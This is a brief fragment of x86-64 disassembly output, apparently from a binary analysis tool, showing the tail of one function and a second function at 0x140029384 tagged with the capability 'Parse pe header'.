cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140017130
xor al, al
add rsp, 0x28
ret

Function at 0x140029384
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140029174